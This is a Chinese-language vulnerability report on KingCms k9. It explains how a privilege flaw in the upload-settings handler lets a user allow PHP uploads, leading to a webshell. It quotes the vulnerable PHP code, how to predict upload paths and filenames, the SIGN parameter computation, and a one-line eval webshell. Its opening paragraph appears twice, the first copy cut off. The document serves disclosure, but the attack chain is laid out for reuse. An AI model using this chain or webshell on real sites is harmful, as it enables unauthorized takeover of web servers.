### 简要描述: KingCms最新版(k9)越权操作可轻松GetShell#2 ### 详细说明: 朋友的公司想购买kingcms的授权,让我帮忙看下。发现kingcms很长一段时间没更新了,憋了一段时间放出了最新版的k9,官网下下来学习一下。 在wooyun上看到了几个漏洞,如: [WooYun: kingcms最新版sql注入漏洞](http://www.wooyun.org/bugs/wooyun-2013-043520) 来看看这次shell是如何发生的吧,此漏洞一共涉及到两个大的问题,一个是越权修改后台配置,另一个是文件上传导致GetShell 0x00:先来看第一个问题 问题文件在/user/manage.php ``` function _upconfig(){ $u=new user;$u->auth_role('admin'); if(!kc_validate($_POST['imagesize'],2)) kc_tip('上传图片上限必须为数字!','form'); if(!kc_validate($_POST['filesize'],2)) kc_tip('上传文件上限必须为数字!','form'); if(!kc_validate($_POST['image_width'],2)) kc_tip('自动压缩图片宽度必须为数字!','form'); if(!kc_validate($_POST['image_height'],2)) kc_tip('自动压缩图片高度必须为数字!','form'); $db=new db; $res=$db->getRows('%s_config','name',"class='up'"); foreach($res as $rs){ $db->update('%s_config',array('value'=>kc_post($rs['name'])),"class='up' and name='{$rs['name']}'");//注释1:这里把用户输入的filetype写入了数据库 } $db->update('%s_config',array('value'=>empty($_POST['upfile'])?0:1),"class='switch' and name='upfile'");...
### 简要描述: KingCms最新版(k9)越权操作可轻松GetShell#2 ### 详细说明: 朋友的公司想购买kingcms的授权,让我帮忙看下。发现kingcms很长一段时间没更新了,憋了一段时间放出了最新版的k9,官网下下来学习一下。 在wooyun上看到了几个漏洞,如: [WooYun: kingcms最新版sql注入漏洞](http://www.wooyun.org/bugs/wooyun-2013-043520) 来看看这次shell是如何发生的吧,此漏洞一共涉及到两个大的问题,一个是越权修改后台配置,另一个是文件上传导致GetShell 0x00:先来看第一个问题 问题文件在/user/manage.php ``` function _upconfig(){ $u=new user;$u->auth_role('admin'); if(!kc_validate($_POST['imagesize'],2)) kc_tip('上传图片上限必须为数字!','form'); if(!kc_validate($_POST['filesize'],2)) kc_tip('上传文件上限必须为数字!','form'); if(!kc_validate($_POST['image_width'],2)) kc_tip('自动压缩图片宽度必须为数字!','form'); if(!kc_validate($_POST['image_height'],2)) kc_tip('自动压缩图片高度必须为数字!','form'); $db=new db; $res=$db->getRows('%s_config','name',"class='up'"); foreach($res as $rs){ $db->update('%s_config',array('value'=>kc_post($rs['name'])),"class='up' and name='{$rs['name']}'");//注释1:这里把用户输入的filetype写入了数据库 } $db->update('%s_config',array('value'=>empty($_POST['upfile'])?0:1),"class='switch' and name='upfile'"); $db->update('%s_config',array('value'=>empty($_POST['upimage'])?0:1),"class='switch' and name='upimage'"); $db->update('%s_config',array('value'=>$_POST['image_width']),"class='system' and name='image_width'"); $db->update('%s_config',array('value'=>$_POST['image_height']),"class='system' and name='image_height'"); kc_ajax(array('JS'=>"\$.kc_close();alert('成功更新上传设置!');\$('.Submit').removeAttr('disabled');")); } ``` 上面代码中的“注释1”处,把用户提交的filetype写入了数据库,如果用户提交的filetype为php的话,那就可以上传php文件了。过程如图 [<img src="https://images.seebug.org/upload/201503/19002031cf8a33e670fa0a27b3ac0e1028fcf40e.jpg" alt="后台修改上传设置副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/19002031cf8a33e670fa0a27b3ac0e1028fcf40e.jpg) 0x01:再来看看文件是怎么上传的 ``` $err = ""; $msg = "''"; $u=new user; if($u->auth_group('user_upfile',true)==false) $err='您所在会员组会员无权上传文件'; $userid=$u->info['userid']; $upfile=@$_FILES[$inputname]; if(!isset($upfile))$err='文件域的name错误'; elseif(!empty($upfile['error'])) { 无关代码 } elseif(empty($upfile['tmp_name']) || $upfile['tmp_name'] == 'none')$err = '无文件上传'; else { $temppath=$upfile['tmp_name']; $extension=strtolower(substr($upfile['name'],strrpos($upfile['name'],'.')+1)); echo str_replace(',','|',$upext); if(preg_match('/'.str_replace(',','|',$upext).'/i',$extension)) { $maxattachsize=5242880; $bytes=$upfile['size'];//filesize($temppath); if($bytes > $maxattachsize)$err='请不要上传大小超过'.formatBytes($maxattachsize).'的文件'; else { //创建目录 $attach_subdir =gmdate('y/m/d'); $attach_dir = PATH_UP.'/'.$attach_subdir; $attach_subdirs=explode('/',$attach_subdir); $attach_temp=ROOT.PATH_UP; foreach($attach_subdirs as $r){ $attach_temp.='/'.$r; if(!is_dir($attach_temp)) { @mkdir($attach_temp, 0777); @fclose(fopen($attach_temp.'/index.html', 'w')); } } PHP_VERSION < '4.2.0' && mt_srand((double)microtime() * 1000000); $filename=gmdate("His").mt_rand(1000,9999).'.'.$extension; $target = $attach_dir.'/'.$filename; //rename($upfile['tmp_name'],ROOT.$target); rename($temppath,ROOT.$target); 无关代码 ``` 整个上传的过程简单来说是这样实现的: 1:获取允许上传的文件类型 2:获取上传文件的类型 3:判断文件是否允许上传(因为修改了配置,所以这里php文件是可以上传的) 4:上传后文件的路径 5:上传后文件的名字 然后分析第4、5步,可以得到文件上传的路径是以当前时间定义的,比如今天是2015-03-16,上传后文件的路径是/upfiles/15/03/16,文件是名字也是根据gmdate()获得格林威治时间,然后再加四位随机数,当然文件上传后可以通过文件属性获得其路径,也可以遍历这4个随机数(毕竟样本太少了,秒遍历啊)。 上传个php文件看看,内容为 ``` <?php eval($_POST["p"]); ?> ``` 注意,URL中的一个参数SIGN是这样计算出来的 ``` <?php $str="10000";//10000即POST参数中的USERID $str.="kingcms.com";//网站域名 $SIGN=md5($str); ?> ``` [<img src="https://images.seebug.org/upload/201503/190020514c1a21c24f01598aa5e0749490cc6336.jpg" alt="上传文件副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/190020514c1a21c24f01598aa5e0749490cc6336.jpg) 上传成功后就可以为所欲为了,大马、菜刀…,这里测试一下吧 [<img src="https://images.seebug.org/upload/201503/19002108c56ef4dc01414a460efef78e67ae36f6.jpg" alt="成功副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/19002108c56ef4dc01414a460efef78e67ae36f6.jpg) ### 漏洞证明: 见 详细说明